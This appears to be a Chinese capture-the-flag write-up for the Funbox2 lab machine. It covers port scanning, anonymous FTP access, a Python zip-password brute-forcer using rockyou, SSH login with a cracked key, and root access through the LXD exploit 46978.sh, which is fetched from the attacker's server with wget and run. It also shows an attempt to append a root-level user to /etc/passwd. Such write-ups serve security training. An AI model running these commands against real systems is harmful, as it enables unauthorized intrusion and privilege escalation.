实战打靶集锦-001-Funbox2

news2024/11/17 20:34:28

**写在前面:**这应该是本人第一次自主成功完成的打靶,纪念一下下。

目录

  • 1. 主机发现
  • 2. 端口扫描
  • 3. 服务枚举
  • 4. 服务探查
    • 4.1 Apache探查
      • 4.1.1 浏览器访问
      • 4.1.2 站点地图查看
      • 4.1.3 目录枚举
      • 4.1.4 公共EXP搜索
    • 4.2 FTP探查
      • 4.2.1 手工登录FTP
      • 4.2.2 公共EXP搜索
      • 4.2.3 密码爆破
  • 5. 突破边界
  • 6. 提权
    • 6.1 探查用户的home
    • 6.2 探查/etc/passwd
    • 6.3 搜索可执行文件。
    • 6.4 枚举操作系统信息
    • 6.5 搜索公共EXP
    • 6.6 利用公共EXP
      • 6.6.1 解除shell限制
  • 7. 获取flag
  • 8. 补充信息

1. 主机发现

当前只知道靶机所在的网段是192.168.56.0/24,其它一概不知,因此先进行一下这个网段的主机发现。

$ nmap -sP 192.168.56.0/24

在这里插入图片描述

2. 端口扫描

56.103应该就是我们的目标靶机,既然找到了IP地址,那就做一下全端口扫描吧。

$ sudo nmap -p- 192.168.56.103

在这里插入图片描述
额,貌似扫挂了,先扫一下常见的22和80端口试试看。

$ sudo nmap -p22,80 192.168.56.103

在这里插入图片描述
额,两个端口都命中了,那就分段扫描一下前20000个端口试试看。
在这里插入图片描述
在这里插入图片描述
这次扫描没有挂掉,前20000个端口只有21/22/80是开放的,暂时就这些吧。

3. 服务枚举

通过下面的命令,查看一下这三个端口上分别运行的什么服务。

$ sudo nmap -p21,22,80 -sV 192.168.56.103

在这里插入图片描述
这样,我们就获得了ftp服务和http服务的版本信息,并且目标靶机的系统大概率是Ubuntu。接下来我们会逐个探查一下apache和ftp服务,实在无法突破的时候再探查ssh,因为ssh相对难利用。

4. 服务探查

4.1 Apache探查

4.1.1 浏览器访问

直接通过浏览器访问一下80端口,看看有没有我们感兴趣的信息。
在这里插入图片描述
感觉是Ubuntu上默认的Apache2的主页,除了Apache2 Ubuntu之外,没有更多感兴趣的信息。

4.1.2 站点地图查看

分别通过浏览器访问一下http://192.168.56.103/robots.txt和http://192.168.56.103/sitemap.xml看看能不能获得站点地图信息。
在这里插入图片描述
嗯,有个log目录,再试试sitemap.xml,不过robots有了,这个基本就没戏了,但是还是访问一下看看。
在这里插入图片描述
得到了一点点信息,Apache的版本是2.4.29。

4.1.3 目录枚举

站点地图里面没有发现太多有价值的内容,通过dirsearch和nikto进行一下目录枚举试试看。

$ dirsearch -u http://192.168.56.103

在这里插入图片描述

$ nikto -h http://192.168.56.103

在这里插入图片描述
尽管发现了一些站点信息,但是貌似价值不大,尤其是还403了。既然知道了版本信息是Apache 2.4.29,那我们还是简单搜索一下公共EXP吧,看看有没有该版本在Ubuntu上的漏洞。

4.1.4 公共EXP搜索

在这里插入图片描述
并没有找到靠谱的匹配EXP,暂时把Apache放在一边,下面开始探查FTP服务。

4.2 FTP探查

4.2.1 手工登录FTP

这没啥好说的,命令行手动登录看看吧。
在这里插入图片描述
竟然可以匿名登录,并且还有不少文件在里面,那就先都下载下来仔细看看吧。
在这里插入图片描述
welcome.msg貌似是个模板邮件,没有实际内容。
对于其它的zip文件,全都加密了,需要私钥才能解密,如下图。
在这里插入图片描述

4.2.2 公共EXP搜索

黔驴技穷了,搜索一下这个FTP服务版本的公共EXP试试看。
在这里插入图片描述
我们的版本是1.3.5e,搜索出来的版本中最接近的是1.3.5,既然无计可施,那就死马当活马医吧,先用第二个试试看。先拷贝代码到当前目录。
在这里插入图片描述
检查代码无问题,运行一下看看。
在这里插入图片描述
发现这个exp问题较多,运行不起来,可能是因为针对1.3.5的,而我的目标版本是1.3.5e,为了验证猜想,上网搜索了一下,果真如此。
在这里插入图片描述
既然1.3.5a就已经把这个漏洞修复了,1.3.5e就不用多想了。

4.2.3 密码爆破

既然没有线索,那就用kali上的rockyou密码字典爆破一下,看看能不能找到zip文件的解包密码吧。
先写一个破解zip的小脚本吧,这里重点参照了Crossin先生的一篇文章(https://cloud.tencent.com/developer/article/1806690)。基本原理就是利用rockyou字典对zip文件进行逐个爆破,可运行的代码如下。

#!/usr/bin/env python

import zipfile
import itertools
import queue
from concurrent.futures import ThreadPoolExecutor

class BoundedThreadPoolExecutor(ThreadPoolExecutor):
    def __init__(self, max_workers=None, thread_name_prefix=''):
        super().__init__(max_workers, thread_name_prefix)
        self._work_queue = queue.Queue(self._max_workers * 2) # 设置队列大小

def get_word_list(file):
    word_file = open(file, 'r', encoding='ISO-8859-1')
    word_list = []
    words = word_file.readlines()
    word_file.close()
    for i in range(len(words)):
        word_list.append(words[i].strip('\n'))
    word_file.close()
    return word_list

def extract(file, password):
    if not flag: return
    file.extractall(path='.', pwd=''.join(password).encode('utf-8'))


def result(f):
    exception = f.exception()
    if not exception:
        # 如果获取不到异常说明破解成功
        print('密码为:', f.pwd)
        global flag
        flag = False


if __name__ == '__main__':
    # 创建一个标志用于判断密码是否破解成功
    flag = True
    # 创建一个线程池
    # pool = ThreadPoolExecutor(100)
    pool = BoundedThreadPoolExecutor(5)
    # nums = [str(i) for i in range(10)]
    # chrs = [chr(i) for i in range(65, 91)]
    # # 生成数字+字母的6位数密码
    # password_lst = itertools.permutations(nums + chrs, 6)
    password_list = get_word_list("./test.txt")
    # 创建文件句柄
    zfile = zipfile.ZipFile("./test.zip", 'r')
    for pwd in password_list:
        if not flag: break
        f = pool.submit(extract, zfile, pwd)
        f.pwd = pwd
        f.pool = pool
        f.add_done_callback(result)

先准备一个测试用的zip文件和密码字典验证一下可行性,比较完美。
在这里插入图片描述
接下来加载真正的rockyou文件爆破anna.zip,完犊子了,使用rockyou没有找到正确的密码;不管了,加大一下kali虚拟机的内存和CPU,就用rockyou,逐个zip包爆破一把,说不定某个zip就能解密呢。
果然,在爆破tom.zip的时候,诡异的事情出现了,爆出了一系列密码。
在这里插入图片描述
说它诡异是因为爆出来的密码不唯一,不应该啊,一个zip还能有这么多密码可以解密?先试试前两个密码再说吧。
在这里插入图片描述
我勒个去,解密出来的竟然是个密钥,这很有可能是用户tom通过ssh登录靶机的密钥,加密后备份在FTP上了。由于太诡异,先用第二个密码解密tom.zip试试看。
在这里插入图片描述
这个密码是错的,不用多想了,估计后面几个都是错误的密码,可能我的密码爆破脚本还有点小问题,不过我们已经得到密钥了,这里暂且放一边,以后有时间再研究。

5. 突破边界

直接在kali上尝试用前面解密出来的密钥携带tom用户ssh到靶机。

$ ssh -i id_rsa tom@192.168.56.103

在这里插入图片描述
完美突破边界,下面开始提权。

6. 提权

6.1 探查用户的home

先看看当前用户的home目录下有些啥。
在这里插入图片描述
有几个比较有意思的文件,如.bash_history、.bash_logout、.mysql_history,这几个文件中有可能隐藏着一些我们感兴趣的敏感信息,待会儿没有思路的时候记得来查看一番。

6.2 探查/etc/passwd

查看一下/etc/passwd文件中有哪些用户。
在这里插入图片描述
除了我们之前发现的ftp之外,还有个mysql用户,这说明这个主机上可能有mysql服务。
先尝试看看能不能直接在/etc/passwd下面添加一个新用户吧。
先给要创建的用户生成一个密码。

tom@funbox2:~$ openssl passwd test123

在这里插入图片描述
然后新创建一个testusr用户,密码用前面openssl生成的,其它信息跟root完全一致。

tom@funbox2:~$ echo "testusr:H0dMgLZQ3cnRo:0:0:root:/root:/bin/bash” >> /etc/passwd

在这里插入图片描述
嗯,权限受限制,不可以这么搞。
说明:到这里,我们可以得知当前tom用户的shell是受限制的,有些操作没法执行,也可以在这里尝试解除当前用户tom的shell限制;其实有很多linux下解除shell限制的方式,这里暂时不讨论(因为在这里我也没解除限制),有兴趣的读者可以自行搜索。

6.3 搜索可执行文件。

用下面的命令,搜索一下root用户所有的,其它用户可读可写的可执行文件。

tom@funbox2:~$ find / -type f -user root -perm -o=w 2>/dev/null

在这里插入图片描述
仍然权限不足,只能想其它招了。

6.4 枚举操作系统信息

通过下面的命令枚举一下操作系统信息,看看能不能从特定版本的漏洞进行提权吧。

tom@funbox2:~$ cat /etc/*-release

在这里插入图片描述

6.5 搜索公共EXP

根据上述信息,看看有没有对应的提权漏洞代码可以利用。
在这里插入图片描述
精简一下搜索关键字,再试一把。
在这里插入图片描述
貌似还真有个18.04版本的提权漏洞(倒数第三个)。

6.6 利用公共EXP

把代码拷贝到本地,查看一下,貌似还挺简单的,基于代码中的提示步骤(如下图)试试看吧。
在这里插入图片描述
在kali主机上直接运行下面的命令,把build-alpine拷贝到本地。

$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine

在这里插入图片描述
根据上面漏洞利用代码的指示,在kali上使用root用户进行build。
在这里插入图片描述
虽然执行的磕磕绊绊,最终还是build出来了,build结束后,当前目录下会多一个如下图所示的tar包,看看能不能用再说。
在这里插入图片描述
退出root用户(要养成好习惯,及时退出root用户),在当前目录建立http服务。

$ python3 -m http.server 80

在这里插入图片描述
从靶机上下载我们build好的文件。
在这里插入图片描述
额,攻击机和靶机不再一个网段,一个在virtual box,一个在VMware,重新配置kali跟靶机在一个网段,然后再试,OK。
在这里插入图片描述
用同样的方法,把kali上的exp脚本46978.sh上传到目标靶机。

tom@funbox2:~$ wget http://192.168.56.105/46978.sh

给我们的EXP和alpine充足的权限。

tom@funbox2:~$ chmod 777 46978.sh
tom@funbox2:~$ chmod 777 alpine-v3.17-x86_64-20230119_0234.tar.gz

在这里插入图片描述
通过下面的命令进行提权。

tom@funbox2:~$ ./46978.sh -f alpine-v3.17-x86_64-20230119_0234.tar.gz

在这里插入图片描述
还是因为shell的限制,没法执行“/”指令。竟然报错了,调整一下。

tom@funbox2:~$ sh 46978.sh -f alpine-v3.17-x86_64-20230119_0234.tar.gz

在这里插入图片描述
额,还是有错误,打开检查一下看看。这个脚本在kali上没有问题,可能还是目标靶机的shell限制问题。

6.6.1 解除shell限制

既然靶机允许cp命令,那就复制一个bash到当前目录试试。

tom@funbox2:~$ cp /bin/bash ./

然后用新拷贝的bash执行脚本。

tom@funbox2:~$ bash 46978.sh -f alpine-v3.17-x86_64-20230119_0234.tar.gz

OMG,执行成功了。
在这里插入图片描述

7. 获取flag

看看当前用户的id,并获取一下flag。
在这里插入图片描述
竟然没有flag,不应该啊。尝试用下面的命令搜索一下全盘。
~# find / -name root.txt 2>/dev/null
~# find / -name flag>/dev/null
~# find / -name proof 2>/dev/null
竟然搜索结果都是空的,可是命名提权成功了啊,显示的当前用户也是root。
那就继续研究一下刚才的EXP代码吧,果然有新的发现,怪我之前没看仔细。
在这里插入图片描述
主机的文件在/mnt/root下,进到这个目录,顺利找到了flag,搞定。
在这里插入图片描述

8. 补充信息

其实我在爆破zip文件的时候,有些笨拙了,学艺不精。kali下有个好用的工具叫fcrackzip,可以直接进行爆破。

$ fcrackzip -u -D -p ../rockyou.txt tom.zip

在这里插入图片描述
比我自己写的脚本简单多啦。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/174366.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于决策树模型和支持向量机模型的手写数字识别

目录 1、导入库和手写数字数据集 2、 把数据可视化 3、把数据分成训练数据集和测试数据集 4、训练SVM模型 5、训练决策树模型 6、对所使用的模型进行评估 7、对手写数字图像进行预测 本项目实现了 第一个功能:可以通过导入库和数据集、通过对数据集的预处理…

JavaScript基础(17)_Function方法(call、apply)、arguments

概念 call,apply都属于Function.prototype的一个方法,它是JavaScript引擎内在实现的,因为属于Function.prototype,所以每个Function对象实例(就是每个方法)都有call,apply属性,可以通过函数对象来调用。 a…

2023牛客寒假算法基础集训营3 赛时思路+正解

这场数学和思维偏多,特别是数学,五个小时过于充实了,而且更加考验你的心态。 这场不乏码量大的毒瘤题,也不乏人类智慧妙妙题。 A 不断减损的时间 题意 给定一个数组aaa,我们可以执行任意次操作,该操作定义…

Rethinking Performance Gains in Image Dehazing Networks

论文源码:https://download.csdn.net/download/zhouaho2010/87393184 Abstract 图像去雾是低层视觉中的一个活跃话题,随着深度学习的快速发展,许多图像去雾网络被提出。尽管这些网络的工作良好,但提高图像去雾性能的关键机制仍不…

守望者的逃离

题目说明【问题描述】恶魔猎手尤迫安野心勃勃.他背叛了暗夜精灵,率深藏在海底的那加企图叛变:守望者在与尤迪安的交锋中遭遇了围杀.被困在一个荒芜的大岛上。为了杀死守望者,尤迪安开始对这个荒岛施咒,这座岛很快就会沉下去&#…

【java入门系列五】java基础-面向对象**

学习记录🤔类与对象内存中的布局堆栈成员方法 类内的函数传参机制传进来的是一个数组/对象,类似于py的list调用递归-在栈空间方法递归汉诺塔八皇后方法重载overload可变参数作用域**scope构造器/构造方法:新对象的初始化构造器细节对象创建流…

pytorch 笔记:torch.nn.init

这个模块中的所有函数都是用来初始化神经网络参数的,所以它们都在torch.no_grad()模式下运行,不会被autograd所考虑。 1 计算gain value 1.1 介绍 这个在后面的一些nn.init初始化中会用到 1.2 用法 torch.nn.init.calculate_gain(nonlinearity, para…

【LeetCode】回溯算法总结

回溯法解决的问题 回溯法模板 返回值:一般为void参数:先写逻辑,用到啥参数,再填啥参数终止条件:到达叶子节点,保存当前结果,返回遍历过程:回溯法一般在集合中递归搜索,集…

使用DiskGenius进行硬盘数据迁移

克隆硬盘 - DiskGenius 1.迁移磁盘 选择自己想要迁移的磁盘,点击工具-克隆磁盘 首先选择源硬盘,点击确定 之后选择想要迁移到的硬盘,点击确定 检查一下原硬盘和目标硬盘是否正确,此外还可以对这个空间进行二次调整。最终如果没有…

Android 中关于 FileObserver类监听文件状态的实践

文章目录需求背景走进源码实现示例参考需求背景 当某一个目录的文件发生变化(创建、修改、删除、移动)时,需要给一个回调事件给其他端调用。 其他场景:阅后即焚等等。 比如在 Android 的 VR 设备中,有一个用于部署的文…

Oracle P6 Professional专业版 22.12 中的热门新功能

目录 并排查看项目 在复制与 WBS 元素的关系时具有更大的灵活性 更轻松地确定要分配的正确基线 复制并粘贴电子表格中的单元格区域 更好地控制导入数据 检查 P6 专业版中提供的时间表报告 在排序对话框中排列字段顺序 创建导入和导出模板的副本 指定完成日期筛选器如何…

光流估计(一) 光流的简介与操作

今天是大年29,明天要贴春联了!算是在年前赶出来一篇文章发(太长时间没发东西了O。o),也算是自己在光流估计深度学习部分研究的开始~ 明年开学就是研二下学期了,时间过得飞快,毕设、实习、工作等…

MyBatis | 使用插件better-mybatis-generator自动生成dao、pojo

0️⃣简介🗼简介在我们编写MyBatis的项目时,常常需要为数据表编写大量的SQL语句以及dao类。better-mybatis-generator作为一款IDEA插件,可以自动为我们生成所需要的pojo类、dao类,并提供相当多的SQL单表查询操作。利用该插件&…

Python小技巧:富比较方法的妙用,__lt__、__le__、__eq__、__ne__、__gt__、__ge__。。。

前言 这里是Python小技巧的系列文章。这是第二篇&#xff0c;富比较方法的妙用。 在 Python中&#xff0c;富比较方法共6个&#xff0c;如下表所示&#xff1a; 见名知意&#xff0c;富比较主要用于比较。 富比较方法使用释义释义object.__lt__(self, other)x.__lt__(y)x<…

Springboot+mybatis使用PageHelper实现vue前端分页

Springbootmybatis使用PageHelper实现vue前端分页1、未分页前的vue前端效果图2、Springbootmybatis使用PageHelper分页逻辑&#xff1a;&#xff08;1&#xff09;Springboot、mybatis、PageHelper的版本&#xff1a;&#xff08;2&#xff09;yml文件配置pagehelper&#xff1…

带你了解docker是什么----初始篇

docker容器docker简介docker、虚拟环境与虚拟机docker 的核心概念Docker 镜像Docker 仓库Docker容器镜像、容器、仓库&#xff0c;三者之间的联系容器 容器一词的英文是container&#xff0c;其实container还有集装箱的意思&#xff0c;集装箱绝对是商业史上了不起的一项发明&…

11.3 关联容器操作

文章目录关联容器迭代器关键字成员不可修改&#xff0c;值可修改关于泛型算法添加元素向set插入元素向map插入数据insert操作总结检测insert的返回值展开递增语句向multiset和multimap添加元素删除元素map下标操作访问元素类型别名&#xff1a;类型别名说明key_type关键字类型&…

第一个Spring、第一个SpringBoot、Spring-Mybatis整合、SpringBoot-Mybatis整合

目录一、第一个Spring程序二、第一个SpringBoot三、Spring-Mybatis整合四、SpringBoot-Mybatis整合第一个程序一、第一个Spring程序 添加依赖——用以支持spring <dependency><groupId>org.springframework</groupId><artifactId>spring-webmvc</a…

线程池的简单介绍以及实现一个线程池

文章目录1、线程池存在的意义2、什么是线程池&#xff1f;3、线程池的使用2、java标准库中的线程池3、认识一下不同的线程池&#xff1a;4、认识一下线程池里的参数&#xff1a;4、实现一个简单的线程池1、线程池存在的意义 线程存在的意义&#xff1a;使用进程来实现并发编程…

鼠标右键没有git bash here(图文详解)

升级Win11后突然发现右键没有git bash here了解决&#xff1a;1. winr键&#xff0c;打开命令窗口,输入regedit打开注册表2. 在注册表中按照路径打开\HKEY_CLASSES_ROOT\Directory\Background\shell\3. 在shell上右键新建项&#xff0c;取名Git Bash Here&#xff0c;再点击Git…